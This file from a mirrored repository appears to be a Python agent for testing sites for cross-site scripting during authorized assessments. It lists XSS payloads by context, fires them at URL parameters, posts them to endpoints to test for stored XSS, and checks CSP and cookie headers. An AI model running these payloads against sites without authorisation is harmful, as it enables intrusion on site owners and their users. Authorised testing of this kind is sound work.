mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-06-11 21:54:56 +03:00
27c6414ca5
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
209 lines
8.5 KiB
Python
209 lines
8.5 KiB
Python
#!/usr/bin/env python3
|
|
"""Agent for testing Cross-Site Scripting (XSS) vulnerabilities during authorized assessments."""
|
|
|
|
import requests
|
|
import re
|
|
import json
|
|
import sys
|
|
import argparse
|
|
import urllib3
|
|
from datetime import datetime
|
|
from urllib.parse import urljoin, quote
|
|
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
XSS_PAYLOADS = {
|
|
"html_body": [
|
|
'<script>alert(document.domain)</script>',
|
|
'<img src=x onerror=alert(1)>',
|
|
'<svg onload=alert(1)>',
|
|
'<details open ontoggle=alert(1)>',
|
|
'<body onload=alert(1)>',
|
|
],
|
|
"html_attribute": [
|
|
'" onfocus=alert(1) autofocus="',
|
|
'" onmouseover=alert(1) "',
|
|
'"><script>alert(1)</script>',
|
|
"' onfocus=alert(1) autofocus='",
|
|
],
|
|
"javascript_context": [
|
|
"';alert(1)//",
|
|
"\\';alert(1)//",
|
|
"</script><script>alert(1)</script>",
|
|
],
|
|
"filter_bypass": [
|
|
'<ScRiPt>alert(1)</sCrIpT>',
|
|
'<img src=x onerror=alert(1)>',
|
|
'<svg/onload=alert(1)>',
|
|
'<input onfocus=alert(1) autofocus>',
|
|
],
|
|
}
|
|
|
|
CANARY = "xsscanary7391"
|
|
|
|
|
|
def detect_reflection_context(response_text, canary):
|
|
"""Determine the rendering context of reflected input."""
|
|
contexts = []
|
|
if f">{canary}<" in response_text or f">{canary} " in response_text:
|
|
contexts.append("html_body")
|
|
if f'="{canary}"' in response_text or f"='{canary}'" in response_text:
|
|
contexts.append("html_attribute")
|
|
if f"'{canary}'" in response_text or f'"{canary}"' in response_text:
|
|
if "<script>" in response_text.lower():
|
|
contexts.append("javascript_context")
|
|
if f'href="{canary}' in response_text or f"href='{canary}" in response_text:
|
|
contexts.append("url_context")
|
|
return contexts if contexts else ["html_body"]
|
|
|
|
|
|
def test_reflected_xss(base_url, params, token=None):
|
|
"""Test URL parameters for reflected XSS."""
|
|
print("\n[*] Testing reflected XSS...")
|
|
findings = []
|
|
headers = {}
|
|
if token:
|
|
headers["Authorization"] = f"Bearer {token}"
|
|
|
|
for param_url in params:
|
|
url = urljoin(base_url, param_url)
|
|
canary_url = url.replace("FUZZ", CANARY)
|
|
try:
|
|
resp = requests.get(canary_url, headers=headers, timeout=10, verify=False)
|
|
if CANARY not in resp.text:
|
|
continue
|
|
contexts = detect_reflection_context(resp.text, CANARY)
|
|
print(f" [+] Reflection found at {param_url} (contexts: {contexts})")
|
|
char_test_url = url.replace("FUZZ", '<>"\'&/')
|
|
char_resp = requests.get(char_test_url, headers=headers, timeout=10, verify=False)
|
|
unencoded = []
|
|
for ch in ['<', '>', '"', "'", '/']:
|
|
if ch in char_resp.text and f"&{ch}" not in char_resp.text:
|
|
unencoded.append(ch)
|
|
|
|
for context in contexts:
|
|
payloads = XSS_PAYLOADS.get(context, XSS_PAYLOADS["html_body"])
|
|
for payload in payloads:
|
|
test_url = url.replace("FUZZ", quote(payload))
|
|
try:
|
|
test_resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
|
|
if payload in test_resp.text or payload.lower() in test_resp.text.lower():
|
|
findings.append({
|
|
"type": "REFLECTED_XSS", "url": param_url,
|
|
"payload": payload, "context": context,
|
|
"severity": "HIGH",
|
|
})
|
|
print(f" [!] XSS CONFIRMED: {param_url} | payload: {payload[:50]}")
|
|
break
|
|
except requests.RequestException:
|
|
continue
|
|
except requests.RequestException:
|
|
continue
|
|
return findings
|
|
|
|
|
|
def test_stored_xss(base_url, submit_endpoint, display_endpoint, token, field="body"):
|
|
"""Test stored XSS via form submission."""
|
|
print(f"\n[*] Testing stored XSS on {submit_endpoint}...")
|
|
findings = []
|
|
headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
|
|
submit_url = urljoin(base_url, submit_endpoint)
|
|
display_url = urljoin(base_url, display_endpoint)
|
|
|
|
for payload_type, payloads in XSS_PAYLOADS.items():
|
|
for payload in payloads[:2]:
|
|
marker = f"XSS-{payload_type}-{hash(payload) % 10000}"
|
|
tagged_payload = f"{marker}:{payload}"
|
|
try:
|
|
resp = requests.post(submit_url, headers=headers,
|
|
json={field: tagged_payload}, timeout=10, verify=False)
|
|
if resp.status_code in (200, 201):
|
|
display_resp = requests.get(display_url, headers=headers,
|
|
timeout=10, verify=False)
|
|
if payload in display_resp.text:
|
|
findings.append({
|
|
"type": "STORED_XSS", "submit": submit_endpoint,
|
|
"display": display_endpoint, "payload": payload,
|
|
"severity": "CRITICAL",
|
|
})
|
|
print(f" [!] STORED XSS: {payload[:50]}")
|
|
break
|
|
except requests.RequestException:
|
|
continue
|
|
return findings
|
|
|
|
|
|
def check_csp_header(base_url):
|
|
"""Analyze Content Security Policy header for XSS protection."""
|
|
print(f"\n[*] Checking CSP header on {base_url}...")
|
|
findings = []
|
|
try:
|
|
resp = requests.get(base_url, timeout=10, verify=False)
|
|
csp = resp.headers.get("Content-Security-Policy", "")
|
|
xxp = resp.headers.get("X-XSS-Protection", "")
|
|
|
|
if not csp:
|
|
findings.append({"type": "NO_CSP", "severity": "MEDIUM"})
|
|
print(" [!] No Content-Security-Policy header")
|
|
else:
|
|
print(f" [+] CSP: {csp[:100]}...")
|
|
if "unsafe-inline" in csp:
|
|
findings.append({"type": "CSP_UNSAFE_INLINE", "severity": "HIGH"})
|
|
print(" [!] CSP allows 'unsafe-inline'")
|
|
if "unsafe-eval" in csp:
|
|
findings.append({"type": "CSP_UNSAFE_EVAL", "severity": "HIGH"})
|
|
print(" [!] CSP allows 'unsafe-eval'")
|
|
if "*" in csp:
|
|
findings.append({"type": "CSP_WILDCARD", "severity": "MEDIUM"})
|
|
print(" [!] CSP contains wildcard domains")
|
|
|
|
if not xxp:
|
|
print(" [INFO] No X-XSS-Protection header (deprecated)")
|
|
cookie_headers = resp.headers.get("Set-Cookie", "")
|
|
if cookie_headers and "httponly" not in cookie_headers.lower():
|
|
findings.append({"type": "COOKIE_NO_HTTPONLY", "severity": "MEDIUM"})
|
|
print(" [!] Session cookie missing HttpOnly flag")
|
|
except requests.RequestException as e:
|
|
print(f" [-] Error: {e}")
|
|
return findings
|
|
|
|
|
|
def generate_report(findings, output_path):
|
|
"""Generate XSS assessment report."""
|
|
report = {
|
|
"assessment_date": datetime.now().isoformat(),
|
|
"total_findings": len(findings),
|
|
"by_type": {},
|
|
"findings": findings,
|
|
}
|
|
for f in findings:
|
|
t = f.get("type", "UNKNOWN")
|
|
report["by_type"][t] = report["by_type"].get(t, 0) + 1
|
|
with open(output_path, "w") as fh:
|
|
json.dump(report, fh, indent=2)
|
|
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="XSS Vulnerability Testing Agent")
|
|
parser.add_argument("base_url", help="Base URL of the target")
|
|
parser.add_argument("--token", help="Bearer token for authenticated testing")
|
|
parser.add_argument("--params", nargs="+", default=["/search?q=FUZZ", "/page?name=FUZZ"])
|
|
parser.add_argument("--submit-endpoint", help="Endpoint to submit stored XSS")
|
|
parser.add_argument("--display-endpoint", help="Endpoint where stored input is displayed")
|
|
parser.add_argument("-o", "--output", default="xss_report.json")
|
|
args = parser.parse_args()
|
|
|
|
print(f"[*] XSS Vulnerability Assessment: {args.base_url}")
|
|
findings = []
|
|
findings.extend(check_csp_header(args.base_url))
|
|
findings.extend(test_reflected_xss(args.base_url, args.params, args.token))
|
|
if args.submit_endpoint and args.display_endpoint:
|
|
findings.extend(test_stored_xss(args.base_url, args.submit_endpoint,
|
|
args.display_endpoint, args.token))
|
|
generate_report(findings, args.output)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|